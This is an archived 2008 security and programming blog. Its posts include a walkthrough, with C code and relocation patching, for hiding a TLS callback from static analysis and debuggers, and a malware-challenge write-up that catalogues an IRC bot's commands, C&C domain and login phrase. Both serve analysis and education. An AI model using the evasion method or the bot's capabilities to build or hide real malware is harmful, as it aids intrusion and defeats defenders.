Back to Top

Friday, October 31, 2008

Moving to an always connected world


I was browsing through some of the PDC reporting, when this announced feature of Windows 7 caught my eye; DirectAccess. It's supposed to be a VPN which you don't have to set up, it just magically works.

Really? I didn't know that VPN's were so hard to set up. My personal experience is with managing OpenVPN (on Windows and Linux), but I also used Windows VPN's with PPTP (again with Windows and Linux clients). It newer took more than 5 minutes to set up, this is counting the installation of software!

In MS view are Windows sysadmins so incompetent that they need a magic pixiedust one-click-does-it-all solution? And if yes, do they think that the same sysadmins who will enable this have any idea about security? "Access all of your network shares from anywhere" - this includes from a stolen laptop.

There needs to be a barrier of complexity for such software, which makes the person who is setting it for the first time read the documentation and hopefully get a few security tips on the way.

Thursday, October 30, 2008



Most of us in the tech world know this feeling: you see an article about something you are specialized in and you discover a lot of things which is wrong with it. In the better case these are just details which are wrong. In the worse case the entire conclusion might be wrong. The further away we get from the source, the more likely it gets that the information is partially or entirely wrong.

(There is also an other problem - information is very delayed - for example this posting on Security Focus came out days after the event and it doesn't even contain the latest situation - that ICANN responded that they are upholding the suspension - this isn't that big a problem if you are aware of it and factor it in your decisions - for example when an attack is talked about in mainstream media it probably has been going on for weeks if not for months.)

Given this situation it is safe to assume that the quality of reporting in other domains isn't considerably better. This makes me ask the question: do we really need journalism if the quality of the reporting is so low? If what they can provide is only very thin information?

My opinion, surprisingly, is yes. But there are two other things we also need: a healthy dose of cynicism with the regards to the reporting. The second thing is transparency: make it clear who your sources are. Show me who you are basing your information on. This much easier in the hyperlinked environment of the Web than it is in traditional media, which is an other reason why the Web is a much better place for news gathering, provided you can get out of the "I've seen it written with black on white, so it must be true" mentality.

Surface mounted electronics


I've landed on the Surface Mount Soldering 101 and my first thought was: this is really cool, I need to tell a friend of mine who as an ASUS WL-500gP wireless router and experienced some problems with the receiving part of it (he wanted to use the router as a repeater).

Playing tricks with the Windows PE Loader


For every software there is a specification and there is the implementation. Specifications are rarely exhaustive, thus there remain the corner cases which the developer handles based on her/his believes. As long as the handling methods don't introduce vulnerabilities, one can say that this doesn't make any difference.

The situation becomes much more interesting when the specification becomes public and others start to program based on it and (willingly or unwillingly) get themselves into these corner cases. In this post I will present such a case related to the PE file format and the Windows loaders. Credit goes to my colleagues who always helped with their advice when I got stuck.

The PE file format is documented by Microsoft (sidenote: 2.4+ can read .docx files, so I don't need to install Office/WordViewer). What I want to show here is how to create an executable which acts in ways that can be unexpected if one only done a cursory static analysis.

More specifically: I want to create a TLS callback which is "invisible" by static analysis (unless the analyst observes these clues). Why TLS? Because these callbacks are executed before the user-mode debuggers gets attached / have a chance to run. The method I accomplish this is by writing an invalid value to the TLS_DIRECTORY and fixing it during loading with relocations.

First, lets create an executable with a TLS callback. I'm using Visual C to do this, since the structure involved are fairly complicated and didn't want to write them by hand. The code is adapted from the boost library. It should compile with Visual C++ 2005 and later (I've tried with VC 6.0, but I didn't manage to make it work):

#define WIN32_LEAN_AND_MEAN  // Exclude rarely-used stuff from Windows headers
#include <stdio.h>
#include <tchar.h>
#include <windows.h>

int select = 0;

void NTAPI on_tls_callback(void* h, DWORD dwReason, PVOID pv)
 select = 1;

int _tmain(int argc, _TCHAR* argv[])
 if (select)
 return 0;

extern "C" {
 ULONG __tls_index__ = 0;
#pragma section(".tls$zzz", read, write, execute)
 char __tls_end__ = 0;
#pragma section(".tls", read, write, execute)
 char __tls_start__ = 0;

#pragma section(".CRT$XLA")
 PIMAGE_TLS_CALLBACK __crt_xl_start__ = 0;
#pragma section(".CRT$XLB")
 PIMAGE_TLS_CALLBACK __crt_xl_tls_callback__ = on_tls_callback;
#pragma section(".CRT$XLZ")
 PIMAGE_TLS_CALLBACK __crt_xl_end__ = 0;

#pragma section(".rdata$T", read, write, execute)
extern "C" const IMAGE_TLS_DIRECTORY32 _tls_used =
 (DWORD) &__tls_start__,
 (DWORD) &__tls_end__,
 (DWORD) &__tls_index__,
 (DWORD) (&__crt_xl_start__+1),
 (DWORD) 0,
 (DWORD) 0

The code needs some explanation. What we are doing here is the following: initialize the "select" variable to 0. Assuming we don't know anything about TLS and so on, the code should print "Bar!". But we define a TLS callback which is executed before the main procedure (in fact it is executed so early that the CRT is not initialized, this is why I'm only setting a variable, not printing to the console / showing message boxes, etc), the value is changed and the program prints "Foo!".

So far so good. Some more details: the section pragma declares an executable section with a a given name. The __declspec token assigns the next variable to be alocated in a given section. Characters after and including the "$" character are not included in the name, so things assigned to section ".foo$a" and ".foo$x" will end up in the same section. The only consequence is that things will get ordered alphabetically based on the suffix (so variables assigned to section ".foo$a" and ".foo$b" will both end up in the ".foo" section, but variables assigned to ".foo$a" will preceed variabiles assigned to ".foo$b" - ordering inside of the same section is not guaranteed). This is used in the code to assure that __tls_start__ preceeds __tls_end__.

An other thing needed before compilation is to enable relocation information. This is called "/FIXED:NO" (no fixed base address) in Visual C++ speak. After compilation we need to ensure that on loading the executable does get relocated. I tried several methods before coming up with the right solution (thanks to a colleague):

  • Assigning it the base-address of kernel32.dll. This produced a warning that kernel32.dll got relocated (apparently kernel32.dll is loaded after the image).
  • Assigning it the base-address of kernel32.dll - the executable refused to start.
  • Finally a colleague suggested to give it a base address in the kernel address space (above 0x80000000). This worked like a charm, except that you can't specify such a base address directly in the Visual C++ project and you have to use rebase.exe to adjust the executable after compilation.

So after compilation and rebase.exe -b 0x87c80000 tlstest2.exe I had an executable with TLS which gets relocated before execution. You can test it - it should load fine and still display "Foo!". Now to modify it. The tools recommended are: IDA 4.9 free, LordPE and a hex editor.

We will be patching the "__crt_xl_start__" in the "_tls_used" structure. It would have been much nicer (read: confusing :-)) to patch the entry in the data directory pointing to this structure, but I didn't manage to get the loader to map it with the right permissions (RW) so that it can be patched. The first step is to find the location of this value in the file. To do this, load up the file in IDA (make sure that you are working with the Debug version of it), let it load the debug symbols and then simply search for "_tls_used" in the name window. Take note of the address (after doing the VA <-> Physical address translation). Overwrite the DWORD with zeroes.

Now we must find out to which address the executable gets actually mapped. This may or may not depend on the system. On my Windows XP SP3 box it gets mapped to 0x10000. You can find it out by running it with a debugger.

Next is to create a relocation entry. Go to the data directory and increase the size of the relocation table by 10 (0xA). This is needed because the relocation entry consists of a two-DWORD header followed by WORD sized entries (and we have only one entry). Now go to the end of the relocation table (you can find this by going to the value calculate based on the next formula: "relocation start" + "original relocation size" ). Write there the following structure: [RVA of the "__crt_xl_start__" on a DWORD][0xA on a DWORD][0x3000 on a WORD]. In my case this looks like:

38 56 01 00 0A 00 00 00 00 30

The first value is 0x15638 (encoded as little endian on a DWORD) followed by 0xA encoded as little endian on a DWORD, followed by 0x3000 (encoded on a WORD / little-endian). Now run the executable in a debugger and look at the memory location representing "__crt_xl_start__". Note the value there. 0x3000 means a "type 3" relocation - it means that at the address specified it will do the calculation: DWORD += [Specified Image Base] - [Actual Image Base] (you can find a detailed description in the MS document linked in the beginning).

Now perform the following calculation: V = [value where the callback routine ends up in the memory - you can find this in a debugger] - [value you have seen __crt_xl_start__]. Make sure that you perform the calculation on 32 bits with underflow. This is necessary because the value gets relocated twice (once by a relocation generated by the linker and once by your relocation), so this is a simple way to calculate the final value which needs to be there. Patch "__crt_xl_start__" with this value (remember, little endian DWORD!) and you should once again see "Foo!".

PS. A further trick (which worked with older versions of IDA) is to specify 0 size for the TLS_DIRECTORY in the DATA_DIRECTORY (instead of the correct 0x18). The TLS got still executed by Windows, but IDA didn't see it.

PS. PS. This trick is actually easily defeated by using the "relocate.exe" program and relocating the executable to the actual address it gets executed at. IDA has a similar option (Edit -> Segments -> Rebase program...), but it doesn't seem to work correctly (maybe the double relocation confuses it?).

Update: Here is a set of post about some TLS quircks:

Update 2: A discussion about changing the TLS table at runtime (an other post about the same topic can be found on OpenRCE).

Mixed links


Seen on Slashdot: Alarm Raised On Teenage Hackers - my view on it: these kids shown the challenge to be on the defender's side. IMHO most of them do this because they want to feel special. Showing them that attacking a system is pretty easy compared with defending it could win the over...

This has been floating around the 'net for some time: Clickjacking. With all due respect for the guys who discovered it - this is pretty old. It was used a couple of years ago on MySpace where the entire page was covered by a transparent div to redirect people to other sites wherever the clicked and it is still used on porno sites. Now credit where credit is due: combining this with chaning the Flash settings is a nice touch. It also shows why you should be very worried about security: most of the attacks (even the new/hyped ones) have been known for some time. The same with bugs: those flaws patched by MS every month - most of them have been there since the software was released. Who is to say that they weren't independently discovered and exploited?

Via the things that make you go hmmm come the following links:

An AC/DC (they rock!) video in excel. Watch it below or download it from the official site.

On the same blog you can find an post about why you should never go with a hosted blog. My opinion is the exact opposite: sure, there are many disadvantages, but the most important advantage for me is: it can handle any kind of traffic and when security problems arise, they are quickly fixed without me doing anything. Compare this with me going with a shared hosting (because I'm too cheap to rent a VPS) - it would get hacked in less than six months. It also links to an article in Wired which talks about why you should stop blogging. I think that most of the points the article makes don't apply to me, because I tend to post much more "tutorial" type content will be always relevant.

Still from the same blog: - a cool way to instantly check the availability of a username on a lot (and by a lot I mean a loat :-)) of services. The site itself goes up and down (probably it can't handle the load), but when it works, it is cool.

It seems that some people were having problems Google (I've also seen an other variation of the same tip suggesting to visit "" rather than " It's not the end of the world (although you might want to take a look at your network to confirm that there is nothing - like malware - making automated requests) since both Yahoo and Live Search are comparable in the terms of result quality.

Via the GSD blog comes the following program tip: Microsoft ICE (no, it's not a drug, it's the "Image Composite Editor"). It can create panoramic images and can output several formats (although nothing too widely supported - like Flash, can we have Flash please? I guess there isn't a big chance...)

The Google Webmaster Central Blog has some presentations about "debunking myths" with regards to search engines / Google. You might want to take a look at them.

The SANS blog asks: should I switch my (software) vendor?. My opinion is: first, make sure that you are using your current software to the maximum. Introducing new software only means introducing new possible vulnerabilities, new patches you have to track, new unforeseen interactions between the components, etc. So first, take a look at what you have (of course for this you need competent people). Then evaluate other possible solutions, but keep in mind that there is no silver bullet.

From the Frequency X blog comes a description of a hardware device which can be used to secure banking transactions. This is a good move, however, given that it will cost some serious money to implement, I doubt that it will get fast adoption. Also, the devil is in the details. How secure is the computer-device interface? The display seems too small to show all the transaction details, making it theoretically possible to authorize the transaction to the wrong target...

Via the Network Security blog comes An Illustrated Guide to the Kaminsky DNS Vulnerability. Nicely done, worth looking at if you still have questions about the topic (it also starts out assuming that you have minimal knowledge of the DNS system, so it is useful for beginners too).

Via Rober Hensing's blog comes the article about MS SideSight. When I first read it, I thought that it was some kind of joke, combining the words "Silverlight" and "Surface" somehow. Not a good name.

From the securosis blog comes a post about how people outside the security field prioritize, and why it seems to security professionals that they "don't get it". Some good quotes:

Will the future be more secure? It’ll be just as insecure as it possibly can, while still continuing to function. Just like it is today.

If we don’t take risks, we can’t possibly grow. No matter what someone tells us, we sometimes need to touch the hot stove and learn for ourselves. It’s human nature; don’t expect it to change. Security is only good news when it’s no news.

Via the OldNewThing blog comes the link to How to get someone to answer your questions which suggests that you purposefully say the wrong thing because this makes people more likely to reply. Interesting idea, but I don't know I would use it...

Finally, via CyberSpeak comes the site, a meta-searchengine which, given a name, tries to gather information about the given person from all over the web. Give it a try, and you might be surprised how much information is out there about you (amongst others, it managed to find my work email - which is interesting since I don't really share that with people).

Wednesday, October 29, 2008

Tag cloud


Brought to you by Wordle:

No stress Perl


What I like about Perl is that it is "turtles all the way down" (almost). You go in with the perl debugger (or something visual like ptkdb) and step through almost all the code and understand how it is done. See for example this post about "magically" turning on strict/warnings from a module.

In the same time I feel that almost all Perl tutorials (especially those aimed at people who have already used other languages) fail to convey a very important thing: Perl's slogan "there is more than one way to do it" means that much of what you see is syntactic sugar.

For example "," and "=>" are equivalent for all intents and purposes (actually, the second one is called "fat comma" which should suggest this equivalence). This means the following two pieces of source code are equivalent:

# a
foo('aaa', 'bbb', 'ccc', 'ddd');
# b
foo('aaa' => 'bbb', 'ccc' => 'ddd');

How you write it is entirely a question of style. One can argue that this freedoms makes it possible to write more expressive source code. However it is very confusing to anyone who used other programming languages because almost all other programming languages respect the "one idiom == one way to express it" rule. Thus people have the impression that "=>" is somehow special.

Clearing these misunderstandings up from the start would make programmers life easier (less stressful). It would also allow them to write "better styled" source code (because - knowing all the possibilities - they could choose the one which fits best the particular situation).

To all newcomers to Perl: have a stress free experience.

PS. One could argue that there is the perlop documentation, but I think that it is safe to assume that the percentage of the people learning Perl from the "official" manual is minuscule compared to the people who read all kinds of tutorials on the net.

Tuesday, October 28, 2008

Mixed links


From scriptnode comes: Multiline Strings in JavaScript. Interesting.

From Think Vitamin comes: Reduce Your Business Costs With Free Stuff. Good list in the spirit of my Things you can get for free post (and much more comprehensive).

EH Challenge solution


The solution to the Ethical Hacker challenge "It happened one Friday" has been posted. Read the full story behind the challenge or go directly to the solution. This is awesome!

Remember that a new EH challenge is in full swing for your entertainment :-).

Fun with shellcode


Didier Stevens posted an entry about some interesting stuff he found in a shellcode, so I thought that I share my little story:

I was analysing a Word exploit, when I cam over the following code (written in pseudocode, because I can't find the file right now):

HANDLE h = 0;
while (GetFileSize(h) != 1234) {
  h += 4;

How does this code work? First of all, 1234 was the size of the .doc file. In windows handles are always multiples of 4. So this iterates over all possible handles until it find the handle it was opened with, and can read the next stage code from there.


Solution to the malware challenge

The deadline for submission to the malware challenge has passed, so I will post here my solution. Sorry for the rather poor presentation, but I exported it out from Word.

Describe your malware lab.

  • A virtual machine (VirtualBox[1]) with WindowsXP installed.
  • OllyDbg[2]
  • IDA 4.9 Freeware[3]
  • PEiD[4]
  • HxD[5]
  • LordPE[6]
  • ImpRec[7]

What information can you gather about the malware without executing it?

  • First I examined it in a hex editor (HxD), which hinted at the fact that the executable is packed (there were two kind of hints – the first one visual – just scrolling through the PE sections – the second one based on the histogram of the file – the number of times each byte value occurs). As you can see above, the number of zero bytes is much lower compared to an non-packed file, and also the distribution of the values is much more homogeneous.

  • Given that we determined with a high probability that this executable is packed, the second question was “what packer was used?” To determine this, several methods were used:

    • A brief inspection with the hex editor. This suggested that a modified version of UPX was used. The hints were:

      • The section names. These are usually named UPX0, UPX1 and UPX2 in case of an UPX packed executable. In the malware there was a similar file patter, only that UPX was replaced for ABC
      • UPX also includes the version used to pack the file in the form of “[major version].[minor version] UPX!” at the beginning of the first section. This too was modified with the same method, and the file reads: 3.03 ABC!

    • Using PEiD. While using the standard settings it doesn’t detect anything, setting the “Deep scan” option (which scans for the signatures in the entire section where the entry point is located, not just at the entry point) it correctly identified the packer as UPX
    • Using IDA, we can see other signs that UPX was used:

      • The distribution of the sections: a section containing no data, followed by a large section which contains the entry point followed by a small section containing the imports
      • The specific imports for a packed executable (LoadLibraryA, GetProcAddres, VirtualAlloc, VirtualProtect, etc)
      • The code at the entry point

  • Given that the malware is packed using a non-standard tool, static unpacking would be fairly complicated

Unpacking the executable

To gain further intelligence, an unpacked version of the executable is needed. Because the modifications to UPX are only superficial, the method described on[1] can be used. At this point we can analyze the dumped binary in IDA (pretty straight forward, since the original executable was compiled using Visual C – but still time-consuming) or try to search for the source code. See the second before last question about retrieving the source code.

Is the malware packed? If so, how did you determine what it was?

See the previous point.

Describe the malware's behavior. What files does it drop? What registry keys does it create and/or modify? What network connections does it create? How does it auto-start, etc?

This can be determined either by static analysis or by running the malware and observing its actions with something like System Safety Monitor[1], Process Monitor[2] or the All Seeing Eye[3]. However this has the drawback that there is no guarantee for the fact that every possible aspect of the malware will be manifested. Added with the fact that we have the source of the malware and it is written in plain C (without obfuscation), a static analysis is recommended (using IDA for example). The actions performed by the malware are:
  • If it isn’t started from there, it copies itself to %WINDIR%\Winsec32.exe. Then it sets the read only, hidden and system attributes on the file.
  • It also sets the file time to the time of explorer.exe, to avoid standing out from other files when sorted by creation date
  • Finally it starts the copy and terminates
  • It registers itself for autostart in the following registry locations using the name “Microsoft Svchost local services”:

    • HKLM\Software\Microsoft\Windows\CurrentVersion\Run
    • HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices
    • HKCU\Software\Microsoft\OLE

  • Now it enters in a loop waiting for the internet connection to become available. When it becomes available, it tries to connect to the C&C server and listen for commands
The malware also uses (used) a secondary server ( to host probably a copy of itself (it is hard to tell, since the domain registration was deleted). This is used for the VNC “exploit”. Basically, if it is instructed to scan for VNC servers listening on the standard port (5900) and finds one without a password set, it tries to send it a set of commands which would result in downloading and executing the specified file.

What type of command and control server does the malware use? Describe the server and interface this malware uses as well as the domains and URLs accessed by the malware.

The malware tries to connect to an IRC server with the DNS name “testirc1.sh1xy2bg.NET”. However, according to domaintools[1], this domain name was never registered, which leads me to speculate that the sample was tampered with, or that the perpetrator planned to register it later. The connection is made on the standard IRC port (6667), which makes it very probable that it will get blocked (for example in corporate environments) and also it is easily recognizable.

What commands are present within the malware and what do they do? If possible, take control of the malware and run some of these commands, documenting how you did it.

The malware has a wide variety of commands. Here is a list of them, with a short explanation for each:
  • ftp.upload – uploads a file from the victim’s computer to an ftp server specified by the controller. The uploading is done using the standard “ftp.exe” present in Windows, and a script written out to a file named “.dll”. This file will contain a script similar to:
    user foo
    pass bar
  • util.hcon or httpcon – connects to a specified host using the HTTP protocol. Most probably used for layer 7 DDoS
  • pingflood or ddos.pingf – starts a pingflood against a given host. Controller can determine the packet size and delay between the packets.
  • ddos.udpf or udpflood – starts an UDP flood against a given host. Controller can determine the destination port, packet size and delay between the packets.
  • asc or advscan – start scanning a given range of IP address for a given port. After finding an open port, it can send exploit code it
  • cid / currentip – returns the current IP for the portscan thread (which IP is it currently scanning)
  • clone.make / clone.start – connects to an IRC channel with the intent of “cloning” (repeating) things said by the botherder
  • clone.j / clone.join – joins a given channel on the “cloned” connection
  • clone.p / clone.part – parts a given channel on the “cloned” connection
  • / clone.nick – sets the nick on the “cloned” connection
  • clone.ra / clone.raw – repeats the “raw” message on the “cloned” connection. This means that no prefix (such as PRIVMSG) is added
  • or clone.action / or clone.privmsg – the bot can be connected to other IRC servers (acting as a proxy) an repeat the commands passed to it on the connected servers
  • daemon.rd or redirect – creates a TCP tunnel on the given interface/port towards the given address/port (similar to rinetd[2])
  • dl or download – downoads a given file using the HTTP protocol. Optionally the downloaded file can be “encrypted” using the “prefix” set by the “” or “prefix” command and can be checked to have a particular CRC32. After the file is downloaded, it is executed. Optionally, it can be marked as an “update”, in which case the original process is killed after the downloaded file is executed
  • synflood / ddos.ack / ddos.random – does a DDoS against a specified IP/Port.
  • rename / – renames a given local file to an other local name
  • execute / com.e – executes a local file. By default the windows of the new program are hidden.
  • delay / – sleeps given number of seconds (possibly to avoid triggering the flood detection of IRC servers)
  • irc.m / mode – changes its mode on the C&C channel
  • / cycle – leaves the C&C channel, waits the specified number of seconds then rejoins it
  • / privmsg – sends a private message on the C&C connection
  • share – lists the available samba shares on the computer
  • user – adds / removes / displays info about a local user
  • pause / stop / start – pauses / stops / starts services
  • keylog.on / cmd.kl.on – starts a keylogger
  • readfile / com.rf – reads a local file and echoes it back to the bot-herder
  • list / com.fl – lists the contents of a local directory
  • delete / del – deletes a local file
  • prockillid / pkid – kills a process with the given ID
  • killprocess / kpc – kills a process with the given executable name
  • dns / irc.dn – resolves a given DNS name and returns the IP
  • open / cmd.o – does a ShellExecute[3] (with the operation parameter set to “open”) on the specified local file. The windows of the application will be visible (as opposed to execute / com.e)
  • prefix / – sets the “prefix” (a string used to decrypt downloaded files)
  • killt / killthreads – kills threads associated with the bot
  • d.ftpd.on / ftpd.on – starts an FTP server on the specified port
  • web.on / httpd.on – starts a web server on the specified port. If a directory is not specified, the system directory will be used as “wwwroot”
  • util.fdns / flushdns – flushes the local DNS cache
  • farp / flusharp – flushes the local ARP cache
  • com.gc / getclip – echoes back the contents of the local clipboard
  • opencmd / cmd1 – opens a command line session (“telnet”)
  • closecmd – stops the remote shell
  • testdlls / com.dll – lists the DLLs which the bot failed to load
  • driveinfo / com.drv – displays the free space for available on the specified drive (different the A – probably to avoid raising suspicion by querying an empty floppy drive)
  • uptime / com.up – displays the time elapsed since the bot has started
  • proc.on / – lists the processes running on the system and the DLLs each has loaded
  • rm / remove – a very interesting command, since it actually removes the file from the system and deletes the associated registry entries!
  • syinfo / sys – displays system info about the infected system
  • ni / netinfo – displays network info (IP Address, connection type, and host name) about the infected system
  • clg / clearlog – clears the internal log
  • threads.l / threads – lists the threads running associated with the bot
  • reboot – reboots the system
  • secure / sec – an other interesting command. When issued, the bot tries to “lock down” the system to (supposedly) prevent exploitation by others. Settings it changes:

    • disables DCOM
    • restricts anonymous logins
    • deletes administrative shares like IPC$, ADMIN$, … (but interestingly it only deletes C$ and D$ - if the system has more drives, the administrative shares for those won’t be deleted)

  • / – the reverse of secure
  • chghttp – changes the http address used in VNC exploitation
  • die / irc.di – dies (exists)
  • mirc.cmd – an other interesting command – sends a command to the active mIRC instance if it can find one
Theoretically speaking letting a bot connect through an unfiltered internet access is not recommended, because it might receive commands from the C&C which could result in damage being done to other computers (for example it is instructed to scan and exploit other machines and it does so). Also (theoretically speaking) taking over a botnet C&C and issuing commands to them is not recommended (even commands which would result in the malware being removed), because (legally speaking) you are still accessing systems which you are not authorized to do. Both of these issues are only of theoretical interest, since (as mentioned at the previous question), the domain the bot is trying to connect to isn’t registered. To do a local test, take the following steps (credit goes to my colleague CPS for coming up with this solution):
  • Install an IRC server locally. A free one for windows is JoinMe[4]. Other options are available[5]. Because the bot uses the standard IRC port (6667), no custom settings are necessary.
  • Modify your hosts file (C:\Windows\System32\Drivers\Etc\hosts), by adding the following two lines:       testirc1.sh1xy2bg.NET

    The first line is used to redirect the malware to the local server when it tries to connect. The second one is needed because when logging in, the malware checks that the user is coming from an IP range which resolves back to “”. The different address is needed to make sure that the TCP stack is resolves the reverse lookup correctly.
  • Install an IRC client (a free one for example is Hirc[6]) and connect to localhost and join the channel “#chalenge” (yes, the typo is intentional). From the bot it seems that this channel should have had the password “happy12”, but it is no problem that our simulation doesn’t have it, because the bot only supplies the password if asked.
  • Start the bot. Make sure that internet access is available until the bot connects to the channel (this is needed because it waits in a loop if no internet connection is available). Once connected, the connection should be removed for security reasons.
  • The bot uses a username like: [] (for example: USA[XP]6913090). To log in, send it the following private message (l is short for login):
    .l gemp123
    It should respond with the message (which means that the login was successful, and also that the author of the bot had less than full control of the intricacies of the English language):
    [REALMBOT] : Thank for trying.
  • To send other commands, just prefix the command with “.”
  • To successfully convince a bot that we are its master, we need to be the first who issues the login command, or we need to issue the login

How would you classify this malware? Why?

It is a “classic” general purpose IRC bot/backdoor. It connects back to a central IRC server and waits there for command from its “master”, offering non-authorized (“backdoor”) access to the infected machine.

What do you think the purpose of this malware is?

It is a general purpose “bot”, meant to offer backdoor access to the person controlling it to a large number of infected machines. It contains no specific functionality (like stealing passwords for WoW[1]), rather it offers a series of generic methods (like spawning a reverse command shell) which can be used to implement any malicious behavior.
It also has a lot of functionality related to IRC (proxying traffic, flooding channels, etc). This is indicative of its origins (bots were used to have mini-wars on IRC – flooding channels, etc).

Is it possible to find the malware's source code? If so, how did you do it?

Looking through the strings which can be found in the unpacked executable, it seems that this malware was named “RealmBot”. Searching for the string “realmbot source code” with Google results finds the following discussion on the site “”: Here we have two links to rapidshare. After downloading and unpacking the archive, we find a directory named “Crx-realmbot.VNC+RFI” (amongst others). To validate that this is indeed the source we are looking for, I’ve used the following perl script:
use strict;
use warnings;
use File::Find;
print "Loading files...\n";
our $complete_file = '';
find(sub {
     return unless -f $_;
     return unless /\.(?:h|c|cpp)$/i;
     print "$_\n";
     open my $f, '<', $_;
     $complete_file .= "\n" . join('', <$f>);
     close $f;
}, 'Crx-realmbot VNC exploit and RFI -(rfi not tested)');
while (my $line = <>) {
     chomp $line;
     if ($complete_file =~ /\b\Q$line\E\b/) {
          print "x $line\n";
     else {
          print "  $line\n";
Like this: strings dumped_.ex$|perl > out
What this does is to load all the source files, and then check for the existence of the strings which it gets from the input in the source file. The strings presented on the input are strings extracted from the dumped (unpacked) executable. This test, although it didn’t give a 100% match rate for various reasons (strings need to be escaped in C source code – “\” is written as “\\” – some strings are created at runtime, etc), the match rate was high enough for me to affirm that this is indeed the source code for the malware.

What information can be gleaned from the source code?

  • It seems that an effort was made to make the malware configurable. Besides the normal settings (IRC server address / port / channel / etc), users can configure the functionality which to exclude with defines (like NO_CRYPT, NO_VNC, etc)
  • The original bot included the code to exploit a RFI (remote file inclusion) vulnerability against a forum software written in PHP[2] (Quicksilver Forum), however this wasn’t included in this compilation of the malware
  • The source code included the option to run the “secure system” command in a loop (but this isn’t included in this version)
  • The original author (if you can call it that – given that the source is a copy-paste job) seems to be related to the site Some chatlogs[3] seem give further leads, however, without further investigation, it is unclear what the relation between the different actors are

How would you write a custom detection and removal tool to determine if the malware is present on the system and remove it?

On the most basic level, the following batch file can remove it:
taskkill /IM Winsec32.exe /F
reg DELETE HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Microsoft Svchost local services"
reg DELETE HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices /v "Microsoft Svchost local services"
reg DELETE HKCU\Software\Microsoft\OLE /v "Microsoft Svchost local services"
However, given the large number of commands available to the bot-herder, it is quite possible that other modifications have been made to the system, which can not be deduced from looking at the source code. If the system is critical, a full reinstall is recommended. Also, the possibility must be taken into consideration that other systems accessible from the given computer might be compromised (if we are talking about a system behind a firewall with other computers connected to the local network for example).

[1]               World of Warcraft



[1]      - 13.12.2006 - Manual unpacking and Auto-IAT fixing UPX and Aspack


A small Slony-I tutorial


Update: the altperl scripts seem to take away the need for most of the steps here. Take a look at the post Slony1-2.0.0 + PostgreSQL 8.4devel for an example for how to use them.

When I first installed Slony-I to replicate between two PostgreSQL servers, it was very confusing. Now I am somewhat less confused (proven by the fact that the replication is actually working :-)) and would like to share some things I've learned along the way.

The first thing to understand is how Slony-I works on the high level:

  • When you install Slony in a database, it creates some tables in a separate schema.
  • It also adds some triggers to your tables the following way: (a) on the master it adds triggers which log the changes after modifying the table and (b) on the slave it adds triggers which disallow changing the data (this is logical, but can be surprising)
  • When data gets modified on the master, these triggers log the changes to the slony schema.
  • Each slave needs to run a daemon (slon) to fetch these changes from the slony schema on the master, write them locally and delete (to keep the slony schema from growing indefinitely)

A limitation of the Slony system is that you can't change the list of tables or their structure dynamically. To do this you must break the synchronization, perform the changes and let Slony copy all the data over. This sounds really bad, but Slony is quite fast actually, copying over a ~30GB dataset in ~4 hours (on a local 100MB network).

Now with these out of the way, how do you actually start a replication?

The first thing you need to make sure of is that both servers can connect to each other. You must be able to go to both servers and successfully execute the following command:

psql -h [the other server] -U [user] -d [DB name] 

Now that you made sure that you have connectivity, you must generate an initialization file and feed it to slonik (the slony management tool). You can do this fairly easily if you have a regular structure for your tables. You have the query for it below:

SELECT '#!/bin/bash
slonik <<_EOF_
cluster name = slon_cluster_a;

node 1 admin conninfo = ''dbname=dbname host=first_host user=u password=p'';
node 2 admin conninfo = ''dbname=dbname host=second_host user=u password=p'';

init cluster (id = 1, comment = ''master a'');

create set (id = 1, origin = 1, comment = ''fdb'');
' || array_to_string(ARRAY(SELECT 
  WHEN c.relkind = 'S' THEN
   'set add sequence (set id = 1, origin = 1, id = ' || (SELECT SUM(1) FROM pg_class WHERE pg_class.relname <= c.relname) ||
    ' full qualified name = ''' || n.nspname || '.' || c.relname || ''', comment = ''Sequence ' || c.relname || ''');' 
  WHEN c.relkind = 'r' THEN
   'set add table (set id = 1, origin = 1, id = ' || (SELECT SUM(1) FROM pg_class WHERE pg_class.relname <= c.relname) ||
    ' full qualified name = ''' || n.nspname || '.' || c.relname || ''', comment = ''Table ' || c.relname || ''');' 
 FROM pg_class c
 LEFT JOIN pg_namespace n ON n.oid = c.relnamespace
 LEFT JOIN pg_tablespace t ON t.oid = c.reltablespace 
  (c.relkind = 'r' OR c.relkind = 'S')
  AND n.nspname = 'public'
  AND NOT(c.relname LIKE '%_old')
  AND NOT(c.relname = 'foo')
 ORDER BY c.relname ASC), E'\n') ||
'store node (id = 2, comment = ''slave a'');
store path (server = 1, client = 2, conninfo = ''dbname=dbname host=first_host user=u password=p'');
store path (server = 2, client = 1, conninfo = ''dbname=dbname host=second_host user=u password=p'');

store listen (origin = 1, provider = 1, receiver = 2);
store listen (origin = 2, provider = 2, receiver = 1);

subscribe set ( id = 1, provider = 1, receiver = 2, forward = no);'

Now I know that this looks like a monster query, but it is actually quite simple. It creates a bash script (I'm assuming that the DB servers are running Linux) composed out of three parts:

  • The initial part (make sure that you set up the paths correctly here)
  • The middle part which differs depending on the type of object (table or sequence - sequences need to be synchronized too because they (1) are outside of transactions and (2) can be changed explicitly)
  • The final part. Again, make sure that the connection strings are correct.

Regarding the middle part: most probably you will want to fiddle with the filtering criteria. For example the above query includes tables / sequences which:

  • Are in the public schema (this is important because we have the schema created by slony)
  • Don't end in _old
  • Are not named foo

Save the output of the query in a file on one of the servers (either the master or the slave), give it executable permissions (chmod +x and run it (./ You only have to run it once (ie. either on the master or on the slave) because it will set up the triggers / tables / etc on both machines (if the connection strings are correct - if they are not you will have other troubles as well, so go and correct them :-)).

A remark about choosing the (PostgreSQL) user under which to run Slony: for simplicity it is recommended to use postgres or an other superuser, because it has to make modifications to the DB (add schemas, create triggers, etc). From what I understand it is possible to use a locked down user (ie one which has minimal privileges), but it is a painful procedure.

Now go to the client, login as user "u" (the one defined in the slony setup script) - you can do this indirectly for example by doing sudo su u if you have sudo rights - and start the slon daemon: slon slon_cluster_a dbname=dbname user=u. You should see a lot of message go by. If there aren't any obvious errors, the initial data copying has begun. You can see the status of Slony by executing the following query on the slave (of course you should replace _slon_cluster_a with the correct schema name):

SELECT * FROM _slon_cluster_a.sl_status

What you are interested in is the st_lag_num_events column. Initially this will increase, until the copying of the data is done and the slave had a chance to catch up with the master. After that it should hover around 0. Sometimes you will see spikes (I assume that these appear during autovacuum), but it always should tend towards 0.

Now that you've set up the replication, how do you tear it down? (because for example you want to change the tables). The easiest way I found was using pgAdmin.

First stop the slon process on the slave.

